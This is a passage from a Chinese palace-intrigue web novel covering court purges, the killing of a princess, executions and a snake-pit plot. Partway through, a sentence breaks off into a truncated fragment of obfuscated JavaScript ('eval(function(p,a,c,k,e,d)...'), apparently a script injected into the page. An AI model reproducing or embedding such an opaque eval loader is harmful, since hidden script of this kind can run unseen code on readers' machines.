大皇子满腹不懂也没敢闹什么,乖乖穿丧服守在妹妹的灵堂。 三皇子在棺椁旁烧纸钱,他是弟弟,他给姐姐烧纸钱。 天黑下来,吊唁散了,皇帝又踏进灵堂,让宫人们也退下,皇帝走到小小的棺椁前看着女儿小小的模样,晚风吹动白纱,霍贵妃走近来,皇帝若喃喃自语:“朕今天感受到了悔,很沉重很强烈的悔,在太极殿外看着她,我只觉得无比的悔。” 霍灵渠低头,未语。 对赖家和郭家的处置都没有拖延,郭修仪的父母三天后赐死,立秋后,赖家满门抄斩。 朝堂自不会因为皇宫中有位小公主去世就受影响,削减官吏,七月初二,罢黜的第一批名单颁布,房祯毅他爹和外祖家亲戚都在列,房祯毅和他娘懵了。 朝廷要削减官吏,他们知道,没当回事儿,就没想过跟他们能有什么关系,怎么可能会削到他们家头上?房二太太懵过神后一刻不能等地带着儿子去找公婆。 佟大太太是恨不得一刻不能等地飞去找佟梦娴,她娘家被逮捕审查了,两个弟妹的娘家也都被抓捕了,就佟梦佶的岳家还没事,可恨老太爷居然把佟梦佶分出去了。 但她住女婿家,房祯毅对他们的不满与日俱增,她若去英王府闹事必会让女婿厌烦,佟大太太到底也知道眼下她想见到佟梦娴不闹场是不可能的,只能再忍几天。 只要她女儿怀孕就好,佟大太太故只能求菩萨保佑妙兮快怀孕。 虢王在家跳脚,霍家要把他的势力全搅干净是不是? 罢黜的名单上还有芮家人,芮尚书却相当平静,连想去找皇帝的想法都没有。 玉藏珠靡颜腻理,清水出芙蓉,气韵高华,应和着她的名字,家世相当的贵妇,定力差些在她面前都要自惭形秽。她在梳妆台前看着镜中的自己似有些痴,玉家在仕途的子弟也遭罢黜了?她自来受瞩目,进京后却像个无名小卒? 房二老爷风驰电掣赶回京找爹,被老父奚落后把窝火暴怒全撒房祯毅头上。 七月初五,风风火火娶佟妙兮才一个多月,房祯毅就休妻了,任佟妙兮母女如何死缠都坚决扫地出门,曾经多深情的男人,绝情起来比薄情寡义的男子丝毫不差。 看女儿如何都挽留不住房祯毅,佟大太太暂且搁置,带着女儿和佟梦奭的小妾庶出们去英王府找佟梦娴,晏家不让他们进门,她就闹,闹得越难看越合她心意。 刑部来捉人时稀稀落落的有几个看客,佟大太太还想跟刑部官差闹一闹,她想见她的大姑姐、孩子们想见姑母,犯什么法了?刑部官差一句话把她吓瘫了:“佟家的判决出来了,还有钟家,都一样,满门抄斩,滁州的佟家人和钟家人都在押解过来了。 陛下念及兴献侯和英王世子来信苦求,特赦佟图匡、佟振羽、佟蓁蓁死罪,改判为终身服苦役,佟梦佶既无过错又已分家,无罪释放,就他们几个还能活,你们等着砍头吧。” 佟妙兮不可思议地盯着刑部这些人,脑子嗡嗡嗡作响,被拷上铁链后一个激灵要反抗,官差们几个大耳光扇下去把她打得眼冒金星,佟大太太都没心思心疼女儿。 他们像被灌着铅一般被刑部官差带走。 看热闹的人群散了,桓炜彤和两个堂弟妹出府来,盯着这些个被拖走的佟家人尤其是佟大太太,桓炜彤在心里冷笑,还真是拿捏佟梦娴拿捏惯了,晏家懒得理会就当晏家好欺负,佟妙兮被休弃还对房祯毅荏弱无能就妄想来拿捏晏家。 这伙人被押进刑部死牢,被释放的佟梦佶与他们擦身而过,他走出刑部,他候在外面等着他的媳妇和生母哭着奔向他,这些天像从鬼门关淌过,佟梦奭他们知道老太爷把佟梦佶分出去后一直死咬着不把佟梦佶拖下水不罢休,好在,好在…… 佟四太太庆幸地想哭,相公没事了,她娘家也不会被牵连了,他们平安了。 佟梦佶抬头,手臂举过头顶,太阳光漏过指缝,才发现阳光那么明媚。 他的大外甥也那么明媚。 霁之。 然,太阳光明媚,终有太阳照不到的地方,抵不过邪祟滋生阴暗。 二公主刚出殡,五岁多的大公主被推进湖里,宫人们将公主救上来时大公主已经殁了。 宫人们说,是大皇子把妹妹带出去又不准奴婢们跟着。 皇帝脸黑得瘆人。 黑夜袭进皇宫,在灵堂隔壁屋中,穆国公霍秦川陪陛下、太后和贵妃同在,另有翁嫔、喻美人和倪秀仪旁听,大皇子哭咽道:“我没有,父皇,我没想害死她。 是他们说我妹妹死了,大妹却还好好活着,凭什么,她应该也去死,不死也该受教训,我要教训大妹才对得起我死去的妹妹,我没想害死她,真的没有,父皇……” 嬴忱璧冷酷训:“你快八岁了,不知道把妹妹推进湖里能害你妹妹淹死吗?” “没有没有,我没有,父皇……”大皇子抽泣地哆嗦:“他们说只要把大妹推进湖里吓唬吓唬她,让大妹在湖里待一两刻钟不会有事的,就是让她受点教训,不会死的。” 霍灵渠和翁嫔几人眼神微闪,大公主在湖里半个多时辰才有人去救呢。 皇帝问:“他们是谁?” 大皇子报出几人,当中有他的母后,他还习惯叫母后,也就是郭修仪,还有霍才人。 霍太后和霍贵妃、穆国公都在,皇帝也没留情面:“押入掖庭狱。” 步统领暂退至屋外,派队禁军去做事。 屋中,皇帝转向杭婕妤,稍有缓和:“杭婕妤,你是大公主的生母,大皇子该如何惩处,朕可以听听你的意见。” 杭婕妤悲痛欲绝地抬起头,看眼陛下又低下头,肝肠寸断:“禀陛下,大皇子纯善,臣妾相信他不会想害妹妹,大皇子是遭人陷害,大公主在天上也不会错怪兄长。” 霍太后和穆国公都没表情,霍灵渠和翁嫔几人看向她,翁嫔被气笑了,这亲娘可真是,当他们看不懂吗,女儿去世才几个时辰,她可真做得出来! “好,你守着大公主吧。” 皇帝率众离去,走出婵娟馆,让大皇子暂且随太后去住长春宫,让贵妃她们各自回吧,皇帝他带着穆国公慢步走走,走过寂寥,皇帝的眸光比夜色冷:“会是谁?” “禀陛下,杭婕妤能不派奴婢尾随还半个时辰都不忧心,不寻常。”穆国公就事论事:“但小觉庵那边并没有主意送出来,应该不是庄太妃。” “是杭婕妤自己?”嬴忱璧悲凉得想笑:“拿亲女儿的命换大皇子养在她膝下?” 穆国公质疑:“但杭婕妤若只想养育大皇子,犯不着下这样的狠手啊,郭修仪和霍才人都卷进去了,郭修仪当前可不是杭婕妤和霍才人能够接触得到的。” 嬴忱璧睨向霍秦川:“穆国公尽可直言。” “杭婕妤想趁机除掉芮家。”穆国公霍秦川猜测,嬴忱璧眼神闪烁下,再看向穆国公,霍秦川犀利道:“但杭婕妤出掖庭狱才一个多月,应该不会想对付芮家?” “除非是有人告诉她,芮家想趁热打铁除掉她和杭家,她若再不动手就是死路。”皇帝嬴忱璧握起拳头,几乎没有悬念了:“是芮尚书在谋划。” 霍秦川低低头,没说话。 皇帝传令:“彻查吧。” 霍秦川领旨告退,嬴忱璧自嘲地几欲飚泪,眼眶红了,枉他一直在贵妃和霍家面前宣称芮家能成得了什么事?!能成得了什么事?哈哈哈…… 翌日一早,婵娟馆名下的宫人尽被带走审查,杭婕妤想拦只连她自己也被控制起来。 皇帝的低靡情绪是被霍贵妃打断的,宫中禁止私自斋祭,关雎宫的宫人们劝不住贵妃,至于贵妃想祭奠谁,奴婢们不得而知,嬴忱璧沉默下去看贵妃。 霍灵渠烧过纸钱和她抄的佛经似在发呆,皇帝过来,注视她许久,霍灵渠都若无所觉。 嬴忱璧搬把小椅来坐贵妃身侧,叹道:“贵妃在端午那天见过他吧?” “这么猜就能让你好受点吗?”霍灵渠翻脸走掉。 皇帝嬴忱璧没有去追,视线掠过香案,轻吐两个字:姬汜。 今夜乃姬汜斋七。 朝堂罢黜的第二批官吏名单在七月初十颁布,原定的七月初十秀女入宫,霍贵妃改为,推迟至七月十三,让喻美人和倪秀仪在新人入宫后看顾些。 穆国公霍秦川呈禀彻查结果,是芮尚书。 芮尚书做得很隐蔽,借了郭修仪外祖家和姨母家还有郢国公的手。 郭修仪的外祖家人和姨母在六月初以看外甥女的名义进宫过好几回跟杭婕妤碰面,就跟杭婕妤说你杭家被欺负得很惨啊,芮尚书要一锅端,让大皇子害死大公主再除掉你和杭家,外甥女害得他们,他们也不想让这外甥女好过,就问杭婕妤你敢不敢? ——让大皇子害死大公主。 杭婕妤痛定思痛过,找霍才人合作,让事发后看起来是霍才人蛊惑大皇子,实则布下线索指向芮家,霍才人虽然会因此而受点苦但有霍家在,伤不到毫发,届时杭婕妤铲除芮家、接过大皇子的抚养,霍才人除掉郭氏给弟弟报仇,大家各取所需。 霍才人霍鹣娇听完都恭维她:“你可真是个好生母。” 郢国公在皇宫的暗钉又给霍才人搭把手,否则霍才人接触不到郭修仪。 “今早的罢黜名单里有不少鞠家的亲友。”霍秦川额外补充。 芮老头在五月末把主意送过去,针对一个霍鹣娇,郢国公都能给搭把手,鞠家在仕途的亲友大多被罢黜,鞠太妃还能罢休?郢国公还能管束妹妹? 嬴忱璧阴沉地让穆国公退下,那么想笑,他三个女儿,三个女儿啊! 大公主的丧事结束,杭婕妤暴毙,皇帝对外说辞,悲痛过度而亡。 郭修仪出掖庭狱,大皇子搬回怡华宫,大公主去世的真相,是郭修仪的外祖家和姨母家搭上霍才人害死大公主陷害大皇子,皇帝诏令,霍才人赐死,同谋的两家满门抄斩。 臣子谏言实在不宜如此重刑,皇帝传他们入宣政殿,不像反驳大臣,更像是对自己说:“朕就这么没有威势,随便什么人就敢打皇嗣的主意想害死皇子皇女? 是朕太仁慈,才闹出这么多魑魅魍魉,既然朕的仁慈得来的只有恶意和辜负,朕就杀!朕就看看这天底下到底是有多少不怕死的!” 几位大人沉寂片刻,磕个头告退。 退到殿外,遇上霍贵妃,霍灵渠颔首,几位大人还礼告退。 霍灵渠再望眼眼前的恢弘,衣袖被扯,她转头,见是翁嫔,翁嫔恳切道:“太后让嫔妾来劝劝贵妃,娘娘,回吧,已不仅是大公主的死,更是陛下和皇家尊威,这不是我们能进言的。” 霍灵渠静默两息时间,应好。 十二名新人入宫,安静得好像生怕被关注。 同天,霍海啸和原牧烈回京复命,立秋已过,赖家伏诛,郭修仪的外祖家和姨母家哭天抢地着被押入死牢等候问斩,佟振羽更激烈,一路都是被绑着押解回京的,送进刑部大狱,还不肯消停,被打得遍体鳞伤也还要闹,被打昏死过去才能安静。 佟蓁蓁浑浑噩噩的被关进牢里都还像在魂游天外,佟梦姿顾不上儿女,她要找丈夫,找霍漓江,找漓江救她出去,只有丈夫才能救她,她知道错了…… 他们仨和佟图匡关在一起,就四人关一间牢房,能有这么好的待遇是怕佟老头被害了,佟梦奭和佟梦骜知道老爹把佟梦佶分出去后恨得要把老父咬死,一大家子关一起,佟老头没几天就能被儿孙们弄死,佟振羽好歹只想出去,没想害外祖父。 谷王陪女儿来刑部死牢,湘王夫妇也过来了,看着佟振羽闹腾,湘王没来由地厌烦,没关注佟蓁蓁,看过眼就转头走了。 湘王妃多站片刻,看得懂佟振羽的不消停,不能接受呗,妄想着做人上人,哪儿能受得住做阶下囚终身服苦役。 可他就算逃过这一劫又能消停吗?不会的,只会没完没了的闹腾。 佟梦如在老母坟前祭拜,老太太的死讯传来,她踌躇两天,还是回京来看看。是霍家帮着收殓的,霍枫叶带她来到墓前,佟梦如心一痛还是止不住的掉眼泪。 娉姨娘和霍鸳娇哭不出来,霍鹣娇死了,死了,一丝水花都没有,娉姨娘木木的,眼泪好像在霍超群死时哭干了,霍鸳娇冷,在还未出伏的炎热里,她冷得打颤。 他们的命,那样的微弱。 朝廷颁布第三批罢黜的名单,皇帝和太上皇预计因此会起的骚乱还没摆两位至尊面前,滕王跪在皇城前状告虢王和昌隆侯蛊惑废齐王谋逆意欲渔翁得利,十四年前废齐王造反根本只是虢王和昌隆侯在暗中谋划意图崛起的阴谋,举朝震惊。 皇帝召集百官,请太上皇过来,一起看滕王的证据。 是已故先滕王的手札。 记录着废齐王想拉拢弟弟入伙时透露的讯息和先滕王的猜测,然,先滕王在废齐王造反前就病逝了,先滕王甚至什么都做不了,他若检举,朝廷没查出什么就是诬告,查到证据就是害死亲兄弟,何况他已病危,故而明哲保身。 皇帝传专人来检验纸张和墨迹,确实是十五六年前的旧物。 太极殿内暗流汹涌,虢王大呼冤枉含血喷人,和滕王吵得几乎要打起来,皇帝和太上皇沉着脸看他俩许久,太上皇始终没有态度,皇帝嬴忱璧便道:“秦王,你来查,不论是要查三年五载还是十年八载,给朕和圣人一个交代。” 秦王领旨,虢王和滕王才各自冷静些。 皇帝让大臣们散了吧,众臣告退,臣子们乃至殿中的宫人都走了,太上皇还静静坐着,嬴忱璧劝父皇去歇歇,太上皇眼神缥缈起来:“寡人在想……” 想什么,太上皇没有说,半刻钟、一刻钟过去,太上皇都没有再出声。 嬴忱璧垂眸道出:“四叔若是忠诚又岂会被蛊惑?” 太上皇笑起来,笑得泪光闪烁:“国丈说,你是你们兄弟中最适合做皇帝的,皇儿啊,当真是唯有帝王心思多契合,你四叔,他是寡人的亲弟弟,同母亲弟啊。 我对他还不够好吗,是我对他太好了,他生出心思来妄想取代哥哥,父皇有八个儿子,大哥没了,凭什么是我继位,他觉得他不服,可我是他的同母哥哥呀。” 皇帝蹲下来,埋头倚靠着爹爹,太上皇抬手抚抚皇儿的头,满目苦涩。 今天,是十五,七月十五。 太上皇当夜就病倒了,消息没有外传,皇帝一早去太微宫看望父亲,晏霁之回京,皇帝正在圣人的寝殿,吩咐宫人传晏侍郎进来吧。晏霁之行至病榻前给陛下请安,太上皇睡着,似在梦呓,嬴忱璧给父亲掖掖薄被,稍坐坐后带晏霁之离开。 “圣人在唤温献皇后的闺名。” 来到殿外,嬴忱璧告诉他圣人在呢喃什么,晏霁之叹息,皇帝目视前方,看琼楼迷眼:“朕粗粗查了代王和恒山王,代王有二十万亩田地,恒山王有五十万亩田地。” 晏霁之没说话,禁军疾跑来禀告陛下,宫里闹瘟疫了。 皇帝闻言甚是淡漠,返回皇城,按部就班地传令太医署防治瘟疫。 晏霁之回英王府,下人呈上张花笺,他把花笺扔桌上,去沐浴,梳洗好后走出净房,见薛述聪果真大咧咧在他屋里,晏霁之谴责:“你这样不请自来不合适吧?” “谁让你一回京就有人盯着你和玉藏珠呢,我们打赌你会不会赴约?”薛述聪打量他:“你这是沐浴更衣准备赴约呢还是沐浴更衣打算睡觉了?” “当然睡觉,还嫌我不够累吗?”晏霁之坐下来,倒杯凉茶喝。 “你?”薛述聪再瞧瞧他,将信将疑的:“真放下了?” 晏霁之挑起花笺看眼又甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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霍海啸停驻在大雄宝殿前,看见他过来,比三根手指:“今夜第三家。” “佛像泣血。”晏霁之拢着睡饱后的舒扬:“你该谢谢原牧烈。” “怎么说?” “他愿意多留几天,月底回北境,皇帝又不会让他闲着,这不就能帮你分担不少了。”晏霁之实在道:“他今夜若不在,你还能不多跑几处?” 霍海啸同意:“有道理,明天请他喝酒。” 宫外的纷乱暂且得以防止,皇宫中的瘟疫则愈演愈烈,才五六天就有百多人病倒。 处暑前夜,近来有些抱恙的倪秀仪洗漱后靠在床头坐会儿,嬴隐鹤出现,倪秀仪惊诧:“你怎么会在这里?”她疾看向贴身婢女,婢女忙摇头。 嬴隐鹤还未言语,一道女声从他身后传来:“当然是关心你啊。” 他们看去,鞠太妃慢悠悠步入,倪秀仪就知道她病得不简单,果然:“是你让我染病,是你在暗中怂恿嬴隐鹤铤而走险甚至是帮他潜入宫中。” “哎呦,难怪朱太妃说你和喻美人两个在蛰伏,看着跟闷葫芦似的,脑子可真好使啊,可你知道了又能怎么样?”鞠太妃蔑视:“还不是只能任我拿捏。” 倪秀仪握紧拳头:“你想怎样?” 鞠太妃也不废话:“代王府今后归入我鞠家。” 嬴隐鹤简直像看到个失心疯的:“你发烧烧坏脑子了吧?” “你们试试啊。”鞠太妃冷笑:“皇帝清冗官砍掉我鞠家那么多势力,明显在针对鞠家,你若有本事给我补回来,我就放过你们,你若没这个本事,自然只能拿代王府补给我。”她再安抚:“你放心,鞠家会帮你拿到世子位,今后代王府就是你的。” “太妃这么咄咄逼人不怕搬起石头砸自己的脚吗?”倪秀仪抗衡道:“我有什么见不得人?我们没什么见不得人的,事情摊开,我也不过是从此受冷落而已。” 鞠太妃兴味盎然:“所以我今夜才要帮你们一把呀。” 倪秀仪脸色微变:“你想做什么?” “好好享受吧。”鞠太妃甩下话就走,走出倪秀仪的沁芳阁,皇帝和霍贵妃迎面走来,鞠太妃被定住般浑身发僵,嬴忱璧道:“太妃留一留吧,会让你看完结果的。” 皇帝和霍贵妃越过她往沁芳阁里走去,鞠太妃被宫娥扶着跟上,来到倪秀仪的寝屋前,小太监将把风的宫女缚住拖走,皇帝率众稍站站,察觉到屋中声响逐渐不对劲,四名内侍各提桶冰水冲进屋,待皇帝嬴忱璧进屋,倪秀仪瘫在地上,一脸枯败。 宫女搬锦凳来,嬴忱璧大马金刀坐下:“这种事,在神智清醒时把自己撞晕或者泡冷水澡应该也能熬过去吧,朕有过期待,期待你会报上来而不是顺水推舟。” 倪秀仪苦笑:“这是贵妃的谋划,可贵妃盯着我做什么?” “是庄太妃从小觉庵里送出来的主意,朕获悉后便带贵妃来看个结果。”皇帝告知。 倪秀仪又想哭又想笑,低头跪下来,嬴忱璧处置道:“自己选一样吧。” “臣妾不想吊死也不想挨刀。”倪秀仪顿下,闭眼道:“就鸩酒吧。” “好!”皇帝的好字落下,被扣押着的嬴隐鹤才反应过来:“陛下,陛下您有的是嫔御,既然事情已经这样了就把她赏给我吧,陛下想要臣拿什么换,臣都答应。” 倪秀仪无动于衷,霍灵渠看他二十来岁稚气未脱,是倪秀仪看不上他吧。 厚运大总管看代王府可是被娇惯坏了,这是有多不知利害呀? 这种罪过,诛你全家都可能,你还全不当回事,虽然陛下不至于会因此赐死你,但陛下如何处置跟你自己有没有自知可是两回事,代王府那么尴尬的处境该谨小慎微还来不及呢,你还上赶着让陛下看你都没点敬畏,你家还妄想能留得住? 皇帝直接当没听过,宫女送上鸩酒,倪秀仪看着这酒,眼神痴痴的,嬴隐鹤死命挣扎,掀翻按着他的内侍,宫人们阻止不及,还是皇帝亲自出手把人制住,倪秀仪注视过这鸩酒,端起酒盏饮下,灼烧的剧痛袭来,她随之倒下,死前谁都没看。 屋中的挣扎也停止了。 嬴忱璧再转向鞠太妃交代:“太妃放心,朕不会越过圣人处置你,这回跟着你闹事的,报上来,朕送你们去太微宫,还有庄太妃,太妃能让她安生两个月吧?” 鞠太妃抿唇不语,更不知道是什么心情。 “断一臂吧。”皇帝像在说一件不值一提的小事:“朕会替你向圣人请个恩典,让你可以去小觉庵看着庄太妃断臂,也希望太妃能帮朕劝庄太妃安生点。” 鞠太妃心跳加速,仍然没说话,嬴忱璧看向趴在地上的嬴隐鹤,宽恕道:“圣人向来厚待代王府,念在伯祖父的份上,朕不跟你计较了,杖刑五十,让代王来领你出宫吧。” 禁军进屋来把嬴隐鹤拖出去杖刑,这人也已经像死狗一样了。 嬴忱璧带贵妃离去,宫人们鱼贯而出,还没有人来给倪秀仪入殓,鞠太妃不经意瞥过,心莫名慌乱,又有人进来吓得她心都快跳出来了:“干什么鬼鬼祟祟的?” 翁嫔瑟缩下,拉拉喻美人,天啊,倪秀仪就这么没了? 鞠太妃嫌晦气走掉,喻美人定定心神,翁嫔忽然说:“就我们两个了,正徽二年十月进宫的六名秀女就我们两人了,才三年不到就剩我们两个了。” “你别一惊一乍吓唬自己。”喻美人看眼倪秀仪又不敢多看的移开视线,自持道:“不管是霍鹣娇那事还是倪秀仪这个事肯定都是个死字,在情理中,走吧。” 翁嫔下意识嗯着,握住喻美人的手臂跟她往外走,来到岔路两人分开,翁嫔走过两步,想去看她的小皇子,咬咬牙往关雎宫跑,求贵妃让她见一面吧。 跑到关雎宫前递上请求,翁嫔得到回复:你若愿意,今夜留在关雎宫吧。 翁嫔心酸地谢过贵妃和传话的大宫女,冲去看她的孩子。 关雎宫的主寝殿里,皇帝想问:“贵妃怎么会想给这么个答复?” “我只是觉得她不大安稳,陪着孩子能给她心安。”霍灵渠看向坐在床沿的皇帝,建议:“要不你打地铺吧,打地铺会比睡软塌舒服,或者你另外找间寝屋。” 嬴忱璧顺杆爬:“贵妃,其实三年——” 霍灵渠干脆利落决定:“你另外找间寝屋吧。” 嬴忱璧退让道:“朕打地铺吧。” 霍灵渠去抱被褥来给他铺被窝,嬴忱璧怔下,他,他没想过贵妃会给他铺好,他想的是他自己铺被褥,这滋味很莫名,他…… 给皇帝把被窝铺好,霍灵渠请他移步,嬴忱璧抬眸:“贵妃要睡了吗?” “陛下有事吗?”虽然猜他应该不会不规矩,霍灵渠还是防备起来。 “说不上来,就是没什么睡意。”嬴忱璧握住贵妃的手拉她坐,霍灵渠把自己手抽回来:“陛下和圣人是不是都不想再留着代王府了?你们可以在嬴隐鹤进宫前拦住的,没有阻拦,任由事情到这一步,嬴隐鹤一定会恨,这恨意应该能强烈到他想谋逆。” “对,庄太妃的主意送出来,朕和太上皇都心照不宣了。”嬴忱璧颇有些推心置腹意味:“怎么留呢?虢王,恒山王,朕这辈至少魏王和晋王,一个个的,这陈年旧账要留到几时,可究其根本,是朕和太上皇不想留吗?嬴隐鹤今夜可是在秽乱宫闱。 朕宽恕他和代王府,他若没有感恩,反而还想恩将仇报,还能不是他们一直心存妄念,骨子里就在等着相机而动吗?朕什么都没有做,这条路是他们自己走的。” 霍灵渠低眸沉默一息时间,向皇帝求证:“郭氏在抢大皇子的膳食?” 嬴忱璧嗯声,郭氏出掖庭狱后每天就两个蒸馍,她根本不碰,自然要抢了。 霍灵渠多此一问的问:“你没想制止?” 皇帝答曰:“大皇子若是受不住,自然会找父亲做主。” “你当前没有再想过把大皇子出继?”霍灵渠看着,怕皇帝对妻儿要有点矫枉过正了:“出继至少能够保住这孩子,打消掉有心人想拿他做文章的心思。” “他自己的心思呢?”嬴忱璧一针见血,霍灵渠哑然,不是矫枉过正,大皇子若有心思又岂会是出继能解决,除疾遗类,皇帝不想再黄粱枕梦:“没有了大皇子,还有二皇子和三皇子乃至还在襁褓的四皇子,那么大皇子出不出继也就无所谓了。” 嬴忱璧再握住贵妃的纤手,霍灵渠忍住:“喻侍郎还没有回来?” “是啊。”皇帝语气有丝玩味,霍灵渠侧眸,见烛泪堆满,琉璃暗:“会不会,今年,从潜邸出来的就会只剩楚昭仪,正徽二年进宫的只剩翁嫔?” “昌隆侯推举文郯侯详查早稻的用意很明白,文郯侯离京前,朕跟他说得也够明白了,倘若他还要辜负朕,谁也留不住他。”嬴忱璧波澜不惊:“喻美人能不能稳住就看她自己,若朱家要挟她,她报上来,无论她爹如何,朕都不牵涉她。” 黑夜夺过流光溢彩又在琉璃瓦尽头流逝,日出,朝堂颁布最后批罢黜名单。 154. 第154章 朝晖盛,洋洋洒洒的罢黜名单在晨曦中亮眼。 城南临街酒楼,郗猷欣赏着刚抄录来的罢黜名单,眼底丝丝兴味,同在的两位在阳台前居高临下观望,马蹄声传来又远去,他莞尔:“是晏霁之吧?” “这都被霍家截住了?!”郢国公世子捶拳,他鞠家是被排挤的?呵! “截不截得住又能差多少,截不住是霍家没本事,截住了,什么都能提前防住就是霍家太有本事了,皇帝和圣人能喜欢?”侯家此番损失惨重,侯瞻逊回京来又和老父大吵过后,武襄侯以为他回驻地了,侯瞻逊干脆撇开老父,自行其是。 “四千人,能生多少乱?”郗猷从容怡然:“好戏少不了的。” 郢国公世子冷笑。 晏霁之骑马至都城南郊十里外锦汤山,士兵见到英王世子,往前带路,霍海啸和原牧烈半个时辰前率八百士兵来封山。 来到具体封锁之地,晏霁之走过去,是个比井口大的深坑,见到深坑里的活物,平日里多有讲究的他非但没避开视线,还直直注视着。 “这少说得有二三百条吧?这么养着是既想等朝廷公布完罢黜名单再行事,更想让它们再生一批出来,这是六月里刚有风声传出,就在筹备了吧?” 这深坑里是个小型的蛇窟。 霍海啸抬手指指搁在边上的石碑:“一块从秀岭出来,一块从黄河里翻出来。” 晏霁之扫视过那两块石碑,问:“霍家被联名状告了?” 霍海啸把状纸给他:“我叔公昨天刚送来。” “真亏得皇帝没少给钱财,否则还真不知要有多少人聚在皇城前哭诉要活不下去了。”晏霁之接过状纸,看看这些人装得有多虚伪,原牧烈赞成道:“是无耻,有时想想,做皇帝是得强硬,软弱些就得被那些居心叵测的贼子拿捏。” “陛下对郭修仪的外祖家和姨母家处以重刑也有震慑之意吧。”晏霁之有感。 “你这么一说,似乎还真是,在这么一个档口,”霍海啸应和:“皇帝自己都说了,看看这天底下到底是有多少不怕死的?!可惜,皇帝的苦心白费了。” “虢王胆小,他会想派人收集这些吗?”晏霁之思虑:“应该不是他。” “是鞠家怕都没准儿。”霍海啸提醒:“这几天多少人觉得郢国公疯了傻了,他还想能得太上皇的眷顾吗?郢国公能放任鞠太妃在皇宫作祟,就不能再多做点?” 晏霁之眼神微闪:“郢国公没傻没疯,何以还能放任妹妹闹事?” 霍海啸微愣,被逗笑了,原牧烈诧异:“郢国公已经上昌隆侯的船了?” “不知道,但皇宫中的瘟疫,有眼睛都看得出来是鞠太妃在作祟,他总不可能不懂这么放任妹妹的后果吧?”晏霁之中肯道,原牧烈估量:“授康二十六年班家取代鞠家的圣眷,若圣人此后未再庇护鞠家,郢国公早和昌隆侯沆瀣一气了?” 两人看向他,原牧烈推断道:“朝廷清冗官,谁家没受影响,鞠家的风评多好,郢国公应该能体悟上意啊至少不应该想闹事吧,怎么我们能理解,反而他不能?假若他只是装的,他私心极重,那么圣人前些年若未庇护鞠家,他能不倒向昌隆侯?” “这么说,郢国公会和庄太妃在一起还是在押注?”霍海啸兀然意识到:“死掉的老郢国公打得如意算盘,若庄太妃胜出,鞠家就是稳稳的摄政王了。” 晏霁之补充:“能妄想摄政,几个会不想再进一步,在想谋家族大运呢。” 霍海啸扩散道:“这是二十年前就有心思了吧,难怪死掉的老郢国公要看不上我祖父,这是自觉深谋远虑无人可比呢。” 霍海啸拿起水囊灌水喝。 “但我总觉得这些活物不会是郢国公谋划的,或者说,他知道此事,但不是他做的。这事过火了,此人是不忿还是想死,这些活物若是放进城里,圣人和陛下谁能容忍?”说着,晏霁之心念一动:“会不会是恒山王,受尽娇惯才敢肆无忌惮啊。” 不管是不是,霍海啸看他都是嫌活得太舒服:“没有昌隆侯煽风点火,太上皇能留着这个大侄儿也就到太上皇有生之年,皇帝可供不起这种宗亲。” 晏霁之商量:“咱们是不是该和桓家谈谈?” 霍海啸也有此意:“月底吧,让你爹和我爹一起跟桓国公谈谈,这一条道走不下去了,桓国公应该是不介意跟恒山王分道扬镳了。” “还是让桓国公速战速决,下个月就断掉。”晏霁之抬眸,看碧空如洗:“没几个月了,等到昌隆侯造反时,他想断都由不得他,今年,昌隆侯必反。” 霍海啸估摸:“差不多立冬前后?” “我猜也是这时候,下个月他定会知道朝廷已获悉他的反心,筹备俩月,再手忙脚乱,他都得硬着头皮干,否则他就是死路。”念及死,晏霁之心里微微发闷。 “却是正中下怀。”霍海啸往深坑里瞟眼:“陛下不可能只守不攻了吧。” “你有反击之策吗?”晏霁之捡起个泥块砸向远方,振奋意气:“我暂时是真想不出,让护国公或者嬴天漾送个捷报来,还是防守,这群人能有的放矢,那么,不论朝廷怎么处理都会有大批舆论在等着,有恃无恐着呢,不然敢吗?” 皇宫中,皇帝嬴忱璧起驾前往太微宫,亲自把鞠太妃和戚太妃在内的六位太妃送过去,郢国公闻讯赶往太微宫,乐邑长公主咬咬牙还是先去找霍灵渠,虽然她猜到了,宫里这几天的瘟疫就是她母妃和鞠太妃搞出来的,确认过,她再赶去太微宫。 郢国公几乎和皇帝同时到达,皇帝没迁怒郢国公,太上皇重重责备,送来的六人今后就在屋里吃斋念佛,乐邑过来,太上皇把戚太妃的私房全给女儿,戚太妃今后用不着了,乐邑抱着生母的珠宝不厚道的想笑,感觉生母把自己作进佛堂里也不错。 鞠太妃受这波冲击还没完又被带去小觉庵——她要看着庄太妃被断臂。 皇帝让霍家带霍桑柔也去趟,霍桑柔驾轻就熟痛打老太婆,鞠太妃看得眼睛都直了,霍桑柔打完,庄太妃鼻青脸肿又是出气要比进气多了,顾统领再派人行刑,一刀砍下,庄太妃痛得昏死过去,鞠太妃眼睛一眨不眨定住会儿,晕了。 庞老将军三人回京复命,带回来上百车的财物,皇帝和太上皇见到他们原还笑吟吟的,看着抬上来的箱笼,兵刃、金条,连铜油都有,父子俩脸难看起来。 这是那批人今年要送给昌隆侯的! 待到锦汤山的消息送来,皇帝和太上皇脸都黑了。 穆国公霍秦川在殿门前犹豫是否该暂且撤离省得被殃及,皇帝让他滚进来,穆国公缩着进殿呈上最新奏报:潞州可能发生地动了,嬴忱璧瞪他:“可能?” “禀陛下,是可能。”霍秦川有理有据:“还不能确定到底是地动还是火药炸出来的假象谎称地动妄想以此制造混乱蒙蔽百姓,自然是可能。” “那么这可能的地动之后,还会有乱象吗?”皇帝没有咄咄逼人,霍秦川还是蔫儿了,但凡有人想作祟,不论潞州地动是真是假都会被借题发挥。 “圣人早有训示,朕想不必朕多言了,不要让事态超过你们的掌控。” 言罢,嬴忱璧走到太上皇身侧,太上皇搭着皇儿的手臂站起来,往外走去。 圣驾至锦汤山,皇帝和太上皇盯着深坑里的活物,阴沉得能滴出水来,四人陪着来的,霍秦川感觉伤眼睛啊想跳到十丈外,他还心宽,拦住了嘛,皇帝嬴忱璧已森森往外冒寒气:“若非被截住,过不了几天,他们必定要动手了吧?” “预计,应该会是八月前。”晏霁之猜。 太上皇闭闭眼睛,嬴忱璧问:“此事会是谁做的,你们有猜测吗?” 晏霁之低低头:“恒山王。” 庞老将军眼神微闪,皇帝没看太上皇,也没有论证对恒山王的猜测有多少可信,就问:“近来乱象迭出,这是一家家在各行其是呢还是有人在谋定主导?” 晏霁之和霍海啸他们相视一眼,假若有人在操纵全局,还能是恒山王吗? 昌隆侯当前忙得焦头烂额,不忙都犯不着费这心思,那么,郢国公府?晏霁之再否,不像啊。 